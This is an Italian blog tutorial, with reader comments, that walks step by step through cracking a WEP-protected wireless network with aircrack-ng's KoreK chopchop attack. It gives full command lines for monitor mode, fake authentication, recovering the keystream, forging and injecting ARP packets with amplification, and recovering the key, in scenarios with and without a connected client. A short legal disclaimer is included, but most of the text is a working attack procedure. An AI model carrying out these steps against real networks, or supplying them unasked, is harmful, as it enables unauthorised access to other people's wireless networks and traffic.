Aircrack-ng – WEP Cracking with KoreK chopchop attack

 

 

password_1.jpg

 

Introduzione

 

Rieccoci a parlare di WEP cracking , e questa volta lo faremo descrivendo l’ attacco di tipo “KoreK chopchop“.

Come nel precedente tutorial non intendo prendermi nessun merito per quello che scriverò, tutto è stato già spiegato sul sito Aircrack-ng.org , in particolare nei tutorial di darkAudax, inoltre ricordatevi che penetrare in una rete wireless non di vostra proprietà è un reato, provate quanto descritto sulla vostra rete o su una rete dove avete i permessi per provare il tutorial. Non mi prendo nessuna responsabilità sull’uso che farete delle tecniche descritte.


L’attacco “KoreK chopchop” è un attacco che non recupera la chiave WEP , ma il keystream necessario per creare un pacchetto da inniettare nella rete per creare il traffico necessario al cracking della chiave WEP. Inoltre rivela il pacchetto WEP da cui parte l’attacco in chiaro.

A volte capita di sperimentare l’attacco contro Access Point che “droppano” pacchetti inferiori ai 60 bytes , in questo caso l’attacco non funziona perchè non riusciremo a generare il keystream; mentre se l’ AP incomincia a rifiutare i pacchetti solo quando la dimensione è inferiore ai 42 bytes (il mio souter ad esempio non accetta i pacchetti inferiori ai 37 bytes) possiamo provare l’attacco, infatti Aireplay-ng tenterà di “indovinare” la porzione di dati mancanti per quanto siano prevdedibili dall’ header.

Nel caso in cui fosse catturato anche un pacchetto IP , “Aireplay-ng” controllerà che la porzione di pacchetto predetta sia corrretta analizzandone il checksum in corrispondenza al pacchetto IP catturato. Per ulteriori informazioni su come questo tipo di attacco funzioni vi rimando a questi due link:

chopchoptheory –

– chopchop –

Scenario

Affronteremo 2 tipi di scenari questa volta:

1° scenario:

Nel primo caso parleremo di come effettuare un attacco di questo tipo quando non vi sono client connessi via wireless.

2° scenario:

Nel secondo scenario descriveremo lo stesso metodo di cracking in una rete dove sono presenti anche client connessi via wireless.

[Requisiti]

I requisiti comuni sono:

Access Point
MAC=00:0F:CC:xx:xx:xx
Protezione=WEP
ESSID=mare
Channel=7

Attaccante
MAC=00:02:6a:xx:xx:xx
Driver=Madwifi-ng
Aircrack-ng 1.0 beta1 r857 (funziona anche con l’utlima versione stabile)

Requisiti 1° scenario

Pacchetti dati in transito sull’AP

Requisiti 2° scenario

Client connesso via wireless
MAC=00:15:00:xx:xx:xx
IP=192.168.1.33

[Svolgimento]

Per iniziare settiamo la nostra interfaccia di rete in monitor mode sulla stessa frequenza di trasmissione dell’AP.

Apriamo un terminale e digitiamo:

airmon-ng start wifi0 7

Il sistema risponderà:

-------------------------------------------------------------------------------------
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

-------------------------------------------------------------------------------------

Controlliamo di avere la nostra scheda wireless settata in monitor mode sulla frequenza del canale dell’AP con il comando:

——–
iwconfig
——–

riceveremo come output i parametri della nostra interfaccia wireless e verifichiamo che sia in “monitor mode” e che la frequenza corrisponda a quella di trasmissione del canale, per controllare che la frequenza sia giusta andate a questa pagina.
Ora rimane da verificare se siamo abbastanza vicini all’AP per poter comunicare con esso.

Da terminale digitiamo:

——————-
aireplay-ng -9 ath0
——————-

e controlliamo che la risposta del sistema confermi la possibilità di fare injection sull’ AP vittima. Proseguiamo solo quando siamo sicuri che l’injection funzioni e che sia possibile comunicare con l’AP.

Adesso, come ultimo passo comune ai due scenari, avviamo Airodump-ng per catturare il traffico in transito sull’AP. Apriamo un terminale e digitiamo:

———————————————————————-
airodump-ng --bssid 00:0F:CC:xx:xx:xx --channel 7 --write capture ath0
———————————————————————-

le opzioni che usiamo sono:
–bssid 00:0F:CC:xx:xx:xx
filtra solo il traffico proveniente da questo AP
–channel 7
ci mettiamo in ascolto solo su questo canale (quello dall’AP)
–write capture
salva il traffico catturato nel file specificato
ath0
è la nostra interfaccia wireless in monitor mode

Lasciamo che Airodump-ng rimanga in funzione per tutta la durata del tutorial e analizziamone l’output, questo sarà differente a seconda dello scenario.

[Scenario 1]

Nell’output di Airodump-ng noteremo che non sarà presente nessun client wireless connesso.


airodump-noclient.png

(cliccate sull’immagine per ingrandirla)

Controlliamo che vi sia del traffico sull’AP nella colonna “Data”, senza traffico non possiamo effettuare nessun tipo di cracking della chiave WEP.

Adesso procediamo con lo svolgere una falsa autenticazione con l’AP; questa andrà a buon fine solo nel caso in cui l’AP accolga ogni richiesta di associazione, cioè che usi un metodo di autenticazione di tipo “OPEN”, nel caso usi l’autenticazione tramite “Pre Shared Key” il tentativo di falsa autenticazione non andrà a buon fine ma non vi preoccupate che in uno dei prossimi tutorial tratteremo anche questo argomento.

Useremo Aireplay-ng per tentare l’autenticazione con l’AP. Quindi apriamo un terminale e lanciamo “Aireplay-ng”:

———————————————————————–
aireplay-ng -1 0 -e test -a 00:0F:CC:xx:xx:xx -h 00:02:6a:xx:xx:xx ath0
———————————————————————–

le opzioni usate significano:
1 0 è l’opzione che specifica una falsa autenticazione
-e test specifica l’ESSID dell’AP vittima
-a 00:0F:CC:xx:xx:xx è il MAC dell’AP
-h 00:02:6a:xx:xx:xx è il MAC address usato della nostra scheda
ath0 è la nostra interfaccia wireless

Se l’operazione avrà successo otterremo come output nella shell di “Aireplay-ng”:

--------------------------------------------------------------------------
16:21:57 Waiting for beacon frame (BSSID: 00:0F:CC:xx:xx:xx) on channel 7

16:21:57 Sending Authentication Request (Open System) [ACK]
16:21:57 Authentication successful
16:21:57 Sending Association Request [ACK]
16:21:57 Association successful🙂
————————————————————————–

Se non dovessimo fidarci di “Aireplay-ng” possiamo verificare che l’autenticazione sia riuscita usando “TCPdump”, lanciato prima di “Aireplay-ng” possiamo usarlo per controllare che ci siano tutti e 4 i pacchetti necessari per l’handshake dell’autenticazione WEP. Quidni se vlogliamo prima di “Aireplay-ng” apriamo un’altro terminale e lanciamo “TCPdump” con il comando:

—————————————————————————————-
tcpdump -n -vvv -s0 -e -i ath0 | grep -i -E "(RA:00:20:6a:xx:xx:xx|Authentication|ssoc)"
—————————————————————————————-

Notate che ho inserito il MAC della nostra interfaccia wireless con la qualestimao tentando una falsa autenticazione. Quindi lanciamo “Aireplay-ng” con il comando descritto prima e controlliamo che appaiano nel terminale di “TCPdump” i 4 pacchetti necessari per l’autenticazione con l’AP, 2 di autenticazione e 2 di associazione. Questo passaggio non è fondamentale al cracking della chiave WEP ma è ottimo per capire come funzioni un’autenticazione WEP.

Torniamo al tutorial sull’attacco “KoreK chopchop“.

Una volta autenticati, sempre con “Aireplay-ng”, inziamo con l’attacco al protocollo WEP vero e proprio. Da terminale digitiamo:

————————————————————-
aireplay-ng -4 -h 00:20:6a:xx:xx:xx -b 00:0F:CC:xx:xx:xx ath0
————————————————————-

dove le opzioni usate significano:

-4 indica il tipo di attacco, in questo caso il “KoreK chopchop”
-h 00:02:6a:xx:xx:xx è l’indirizzo MAC usato in fase di fake auth
-b 00:0F:CC:xx:xx:xx è l’indirizzo MAC dell’AP
ath0 è la nostra interfaccia di rete

In sostanza questo specifica all’attacco che tutti i pacchetti che verranno inviati da “Aireplay-ng” per determinare il keystream di un pacchetto WEP saranno inviati avendo per source MAC quello specificato dall’opzione “-h”, ovviamente questo è il MAC con il quale ci siamo autenticati con l’AP, altrimenti, come al solito, i pacchetti che invieremo saranno respinti dall’AP poiché non ne riconosce la provenienza. L’output del terminale sarà:

aireplay-noclient.png

quindi controlliamo che la dimensione del pacchetto catturato sia superiore ai 68 bytes (altrimenti potremmo non avere abbastanza porzione di PRGA per generare il keystream, generalmente più grande è il pacchetto e meglio è, perchè cosi abbiamo più dati a disposizione da elaborare e le probabilità di successo aumentano) e rispondiamo positivamente con la lettera “y” quindi lasciamo che l’attacco svolga il suo corso (provate a guardare cosa succede durante l’attacco analizzando la finestra di Airodump-ng). Ricordate che non vi sono client connessi via wireless, quindi questo pacchetto proverrà da una macchina connessa via cavo o dall’ AP, nel caso provenga dall’AP troveremo il flag “FromDS” settato a 1 altrimenti, se proviene da un client connesso via cavo, il flag impostato a 1 è quello “ToDS”.
Una volta terminato vi troverete 3 file nuovi:

1° il pacchetto catturato all’inizio dal quale parte l’attacco
1° un pacchetto “.xor” contenente l’intero keystream
1° un pacchetto WEP in chiaro

Il pacchetto “.xor” è quello che useremo per creare la richiesta ARP da inietare nella rete per generare i pacchetti che invieremo al fine di generare del traffico utile al cracking della chiave WEP.
Da terminale adesso usiamo “Packetforge-ng” per creare il pacchetto da iniettare, digitiamo:

------------------------------------------------------------------------------------------------------------------------------------------------
packetforge-ng -0 -a 00:0F:CC:xx:xx:xx -h 00:02:6a:xx:xx:xx -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-1226-162902.xor -w ARPPacket.cap
------------------------------------------------------------------------------------------------------------------------------------------------

e le opzioni in questo caso significano:

-0 significa che vogliamo creare un pacchetto ARP
-a 00:0F:CC:xx:xx:xx è il MAC dell’AP
-h 00:02:6a:xx:xx:xx è il MAC usato in fase di fake-auth
-k 255.255.255.255 è l’indirizzo IP di destinazione
-l 255.255.255.255 è l’indirizzo IP sorgente
-y replay_dec-1226-162902.xor è il file contente il keystream
-w ARPPacket.cap è il nome del file di output

Prima di procedere sottoliniamo una cosa:

Gli indirizzi specificati dai parametri “-k” e “-l”, entrambi 255.255.255.255, vanno bene per molti AP, quindi nella maggior parte dei casi, se non in tutti i casi che vi si proporranno, il lavoro di creazione del pacchetto ARP può essere limitato a quello descritto sopra, ma tenete conto che tramite l’analisi del pacchetto in chiaro creato dall’attacco “chopchop” possiamo risalire all’indirizzo IP della macchina connessa via cavo, ovviamente tutto ciò è possibile solo nel caso riuscissimo ad ottenere un pacchetto diretto o proveniente da essa. Usando l’IP della macchina connessa via cavo e un IP non assegnato nella LAN (provate con 10.255.255.255) nei parametri “-k” e “-l” forzeremo l’AP a generare 2 pacchetti per ogni pacchetto che iniettiamo nella rete, questa tecnica è descritta tra i tutorial di Aircrack-ng.org e si tratta di “ARP amplification”; in pratica si riduce drasticamente il tempo che impieghiamo per sniffare i pacchetti dati WEP che usiamo per il cracking della chiave. Descriverò questa tecnica in un prossimo tutorial.

Da qui in poi i tutorial coincidono, quindi saltate direttamente alle fasi conclusive di questo documento se non siete interessati a sapere come comportarvi nel caso in cui ci sia un client connesso via wireless.

[Scenario 2]

In questo caso nell’output di airodump-ng noteremo che c’è un client connesso via wireless

airodump-client.png

Quindi se state eseguendo questo tutorial con una scheda wireless che monta un chipset della Atheros dovete stoppare la scheda e cambiare il MAC della stessa in modo che coincida con quello del client associato, poiché altrimenti il driver madwifi-ng non funzionano, reimpostare la scheda in monitor mode sul canale di trasmissione dell’AP e rilanciare “Airodump-ng” come descritto sopra.
Notate che nel caso ci fosse un client connesso via wireless non occorre nesun tipo di falsa autenticazione, sfrutteremo il client già connesso per portare a termine l’attacco.

Adesso usiamo “Aireplay-ng” per iniziare l’attacco:

----------------------------------------
aireplay-ng -4 -h 00:15:00:xx:xx:xx ath0
----------------------------------------

le opzioni usate significano:

-4 indica il l’attacco “KoreK chopchop”
-h 00:15:00:xx:xx:xx è il MAC del client target
-ath0 è la nostra interfaccia di rete

Ecco un esempio di output:

aireplay-client.png

Rispondiamo positivamente alla scelta del pacchetto controllando che la dimensione dello stesso sia uguale o superiore agli 86 byte, anche in questo caso più grande è il pacchetto e meglio è , anche se più è grande il pacchetto e maggiore sarà il tempo richiesto per conseguire l’attacco, altrimenti premiamo “n” e aspettiamo che ci capiti un pacchetto migliore con il quale lavorare. Controllate che il pacchetto provenga dal client wireless associato, ci servirà per determinarne l’indirizzo IP.
Scelto il pacchetto non ci resta che aspettare che l’attacco svolga il suo corso. Alla fine ci troveremo con 3 file nuovi:

1 è il pacchetto catturato all’inizio dal quale parte l’attacco
1 è un pacchetto “.xor” contenente l’intero keystream
1 è un pacchetto WEP in chiaro

Quindi usiamo “Wireshark” o “TCPdump” per ottenere l’indirizzo IP del client connesso via wireless analizzando il pacchetto WEP in chiaro. Potrebbe essere necessario fare più di un tentativo primo di trovare un pacchetto che contenga l’IP del client connesso via wireless, quindi se non riuscite al primo colpo riprovate.

Adesso andiamo a creare il pacchetto ARP usando “Packetforge-ng“:

--------------------------------------------------------------------------------------------------------------------------------------------
packetforge-ng -0 -a 00:0F:CC:xx:xx:xx -h 00:15:00:xx:xx:xx -k 192.168.1.33 -l 10.255.255.255 -y replay_dec-1226-173127.xor -w ARPPacket.cap
--------------------------------------------------------------------------------------------------------------------------------------------

dove:

-0 indica che vogliamo creare un pacchetto ARP
-a 00:0F:CC:xx:xx:xx specifica il MAC dell’AP
-h 00:15:00:xx:xx:xx è l’indirizzo a cui è destinato il pacchetto
-k 192.168.1.33 è l’IP del client target
-l 10.255.255.255 è l’indirizzo IP sorgente, deve essere un indirizzo NON assegnato, in genere 10.255.255.255 funziona
-y replay_dec-1226-173127.xor è il ile contenete il keystream creato da “Aireplay-ng” precedentemente
-w ARPPacket.cap è il file di output

Cosi facendo abbiamo creato un pacchetto ARP indirizzato al client connesso via wireless, inoltre se controllate con “Wireshark” il file “capture” generato da “Airodump-ng”, noterete che in questo modo costringeremo l’AP a generare 3 pacchetti per ogni nostro pacchetto inviato, questa è una tecnica di “ARP amplification”.

[Fase finale]

A questo punto non ci resta che usare “Aireplay-ng” per iniettare il pacchetto creato nella rete:

————————————
aireplay-ng -2 -r ARPPacket.cap ath0
————————————

dove:

-2 indica il tipo di attacco interattivo, ci permette di scegliere il file da usare
-r ARPPAcket.cap specifica il file che abbiamo intenzione di usare
ath0 è la nostra interfaccia di rete

Raggiunto il numero di pacchetti necessari per il cracking della chiave usiamo “Aircrack-ng” per recuperarla:

————————————————
aircrack-ng -z -b 00:0F:CC:xx:xx:xx capture*.cap

————————————————

dove le opzioni significano:

-z il tipo di attacco PTW
-b 00:0F:CC:B4:08:48 è il MAC dell’AP
capture*.cap è il file dove “Airodump-ng” sta salvando il traffico sniffato.

Tenete presente che con circa 100000 pacchetti dovreste essere in grado di recuperare una chiave WEP da 128 bit senza difficoltà.

Spero di esservi stato utile.

Ciauz,

PinguinoNinja

11 commenti

  1. Ciao,
    Complimenti per la guida molto dettagliata…🙂
    Dopo che ottengo il file capture*.cap come posso leggere la chiave WEP ???
    grazie

  2. la password è ottenibile tramite aircrack-ng con il comando

    aircrack-ng -z capture*.cap

    se hai problemi fammi sapere…

    ciauz

  3. Salve, voelvo sapere se si puo fare il cracking quando in airodump non c’e traffico cioè “0” e se c’è un modo per poterlo generare.Grazie

  4. Ciao Ciccio,

    per generare del traffico puoi collegarti all’AP con un cavo di rete e utilizzare la connessione.
    Ciauz.

  5. Ciao! A me succede che il test di aireplay mi dà questo responso:
    # aireplay-ng -9 rausb0
    ####### Trying brodcast probe request…
    ####### No Answer…
    ####### Found 1 AP

    ####### Trying directed probe request…
    ####### 00:14:##:##:## – channel: 11 – “WL######”
    ####### 0/30: 0%

    E’ possibile che il problema derivi dal fatto che la rete in questione viaggia in 800.11 b? in tal caso come posso fare a far funzionare la chiavetta (asus wl-167g) in b? Ho cercato ovunque, ma nn riesco a reperire informazioni..
    ti ringrazio!
    Ciaa

  6. non è molto difficile da capire ,

    se la tua scheda supporta l’ injection , segui il tutorial , altrimenti c’é poco da fare…

    vai sul wiki e provi a vedere notizie sulla tua scheda vedrai che per catturare 1000000 di pacchetti ‘IV ci si impiega circa 35 ore…

    http://backtrack.offensive-security.com/index.php/HCL:Wireless

    dagli un’ occhiata , ma fossi in te prenderei un atheros se vuoi fare esperimenti.

    ciao

  7. Se stai ancora seguendo i commenti ti linko un post “particolare” su di un sito a noi molto vicino WiFi-ITA.com ,

    http://www.wifi-ita.com/forum/viewtopic.php?t=2115

    Inscriviti e dagli un’ occhiata , non te ne pentirai..

    ciao.

  8. Grazie! In realtà io sono arrivato qui tramite la firma di pinguinoninja nel forum..he he he! solo che ho scritto con un altro nickname perché nn ci ho fatto caso.
    Ti ringrazio per il link (che nn avevo visto). Nn so se il problema è il segnale, ma io lo prendo a 40 dbi che credo sia abbastanza buono. A suo tempo ho provato anche con una fonera con firmware legend e aircrack, ma nn ci ho cavato nulla nonostante la pannellare da 6 dbi e il chipset atheros.
    A giudicare da quello che mi hai scritto sopra nn mi resta che desistere.
    Grazie cmq della guida e delle informazioni.
    Ciaa!

  9. niente al momento in cui deve creare i 3 diversi file si pianta,comincia a invare pacchetti e nn la finisce piu….eppure seguo passo passo la guida

  10. Ciao bellissima guida. l ho provata funziona tutto🙂
    volevo farti un paio di domande teoriche se è possibile:
    1)Se l’AP usa il metodo di autentificazione PSK. cosa bisogna fare ?
    2)Ma per usare la tecnica del chopchop non occorre almeno un pacchetto inviato verso client VERI ? come fa a funzionare ? non capisco

    per favore rispondimi. grazie infinite🙂

  11. satellite , ciao e benvenuto.

    se vuoi aiuto ti conviene entrare in canale e avere un pò di pazienza , stiamo chiudebdo l’help-desk del blog.

    ciao.


Comments RSS TrackBack Identifier URI

Lascia un commento

Inserisci i tuoi dati qui sotto o clicca su un'icona per effettuare l'accesso:

Logo WordPress.com

Stai commentando usando il tuo account WordPress.com. Chiudi sessione / Modifica )

Foto Twitter

Stai commentando usando il tuo account Twitter. Chiudi sessione / Modifica )

Foto di Facebook

Stai commentando usando il tuo account Facebook. Chiudi sessione / Modifica )

Google+ photo

Stai commentando usando il tuo account Google+. Chiudi sessione / Modifica )

Connessione a %s...